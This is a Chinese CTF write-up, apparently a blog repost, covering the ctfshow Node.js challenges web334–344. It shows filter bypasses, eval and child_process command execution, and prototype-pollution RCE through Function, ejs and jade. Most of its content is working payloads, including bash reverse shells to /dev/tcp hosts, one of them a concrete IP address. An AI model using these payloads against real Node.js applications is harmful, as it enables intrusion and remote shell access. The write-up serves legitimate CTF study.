当前位置: 首页 > news >正文

ctfshow nodejs

web 334

大小写转换特殊字符绕过。

“ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。
“K”.toLowerCase() == ‘k’.

payload:

CTFſHOW
123456

web 335

通过源码可知 eval('xxx'),eval 中可以执行 js 代码,那么我们可以依此执行系统命令。

利用系统命令:

require('child_process').execSync('ls').toString();
require('child_process').spawnSync('ls',[]).output;
require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

利用文件系统模块:

require('fs').readdirSync('.'); //读取目录
require('fs').readFileSync('fl001g.txt');

另外与 eval 一样可以执行系统命令的函数还有:setInterval 、setTimeout 。

setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");

nodejs一些入门特性&&实战

web 336

过滤了一些关键字,我们可以用字符串拼接或者变量拼接的方法( + 号要 urlencode)。

require('child_process')['ex'%2B'ecSync']('cat f*');
var a="require('child_process').ex";var b="ecSync('cat f*').toString();";eval(a%2Bb); 
require('child_process').spawnSync('ls',[]).output;

web 337

md5 绕过,和 php 的有异曲同工之妙。

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

payload:

?a[]=&b[]=

web 338

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;

也就是需要让 sercert.ctfshow 的值为 36dboy ,下面的 copy 函数就是一个典型的原型链污染

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

payload:

{"__proto__":{"ctfshow":"36dboy"},"password":"123456"}

web 339

原型的讲解和区分:https://www.cnblogs.com/shamoyuu/p/prototype.html
Function与constructor:https://www.bilibili.com/read/cv20770194

预期解

这题不能直接照搬上一题了,flag 值我们是不能动的,但是原型链污染依然存在。

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});

但是在 api.js 中可以看到 query: Function(query)(query) 这不妥妥的可以命令执行嘛,又因为 js 中对象的一些性质,使得在调用对象的属性的时候若是没有 query 属性,则会沿着原型链向上查找调用,也就是说原型链污染,污染完后,再次 post 方式访问 api 完成渲染就可以了。

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});

payload:
可以用下面的这个 payload 直接反弹 shell,但是这样就会有个小问题,如果不每次清除自己已感染的原型链,后续 copy 函数会报错,且 api.js 中的 query 会一直沿用我们污染的数值,容易影响网站业务。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/12345 0>&1\"')"}}

所以我们可以在每次污染后清除污染的属性。

{"__proto__":{"query":"return ( e => {for (var a in {}){delete Object.prototype[a]}return global.process.mainModule.constructor._load('child_process').execSync('cat routes/*');} )()"}}

非预期解

直接利用 ejs 的 rce

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/123456 0>&1\"');var __tmp2"}}
{"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"xxx\"); //"}

同样是 post 方式访问 api 渲染执行命令。

web 340

和 web 339 题目一样,唯一不同的是需要向上污染两级,因为它 copy 的是 user.userinfo 而不是 user,如果只向上一级那么,污染的只是原型链的分支。

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }});

payload:

{"__proto__":{"__proto__":{"query":"return ( e => {for (var a in {}){delete Object.prototype[a]}return global.process.mainModule.constructor._load('child_process').execSync('cat routes/log*');} )()"}}}

web 341

这题就是上面提到的 ejs rce。
漏洞复现:https://www.bilibili.com/read/cv20929156?spm_id_from=333.999.0.0

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}

web 342、343

jade rce审计。

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2333 0>&1\"')"}}}

web 344

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

正常情况下我们是要传 ?query={"name":"admin","password":"ctfshow","isVIP":true} 但是题目过滤了逗号,和 url 编码的 8c,2c 也就是 "c 不行了(双引号的 url 编码为 %22),所以我们要把字母 c 编码,又因为逗号过滤了,所以json 格式不行,那么可以用下面这种同名参数传参的格式。

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这样还能成功解析的原因是:

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

wp

yu22x
Ff.cheng

参考文章

Node.js 常见漏洞学习与总结
nodejs一些入门特性&&实战
几个node模板引擎的原型链污染分析
原型链污染(四)——污染导致的ejs模板rce
原型链污染(五)——jade rce审计

http://www.lryc.cn/news/3856.html

相关文章:

  • 无线传感器原理及方法|重点理论知识|2021年19级|期末考试
  • 带你写出符合 Promise/A+ 规范 Promise 的源码
  • 回流与重绘
  • openpyxl表格的简单实用
  • 【寒假day4】leetcode刷题
  • 【竞赛题】6355. 统计公平数对的数目
  • Redis集群搭建(主从、哨兵、分片)
  • Dart语法基础补充
  • Nginx - 深入理解nginx的处理请求、进程关系和配置文件重载
  • 华为OD机试 - 服务依赖(Python)| 真题含思路
  • html的表单标签(form)
  • 手把手教你部署ruoyi前后端分离版本
  • JUC并发编程 Ⅱ -- 共享模型之管程(上)
  • File类
  • ModSecurity规则功能说明
  • 医学生考研考博太卷,一篇文章轻松助力上岸(一)
  • 操作系统(一): 进程和线程,进程的多种状态以及进程的调度算法
  • 【随笔】我迟到的2022年度总结:突破零粉丝,1个月涨粉1000+,2023年目标3万+
  • SpringCloud-Netflix学习笔记13——Zuul路由网关
  • Hive 之 DDL操作
  • 2. SpringMVC 请求与响应
  • leaflet 读取上传的geojson文件,转换为wkt文件(057)
  • 面试题-前端开发Vue篇(答案超详细)
  • PTA甲级-1010 Radix c++
  • 【项目重构】第1次思考
  • Java:SpringMVC的使用(2)
  • Elasticsearch7.8.0版本进阶——分布式集群(应对故障)
  • 【LeetCode】每日一题(2)
  • 软件设计师教程(六)计算机系统知识-操作系统知识
  • Zookeeper下载安装与集群搭建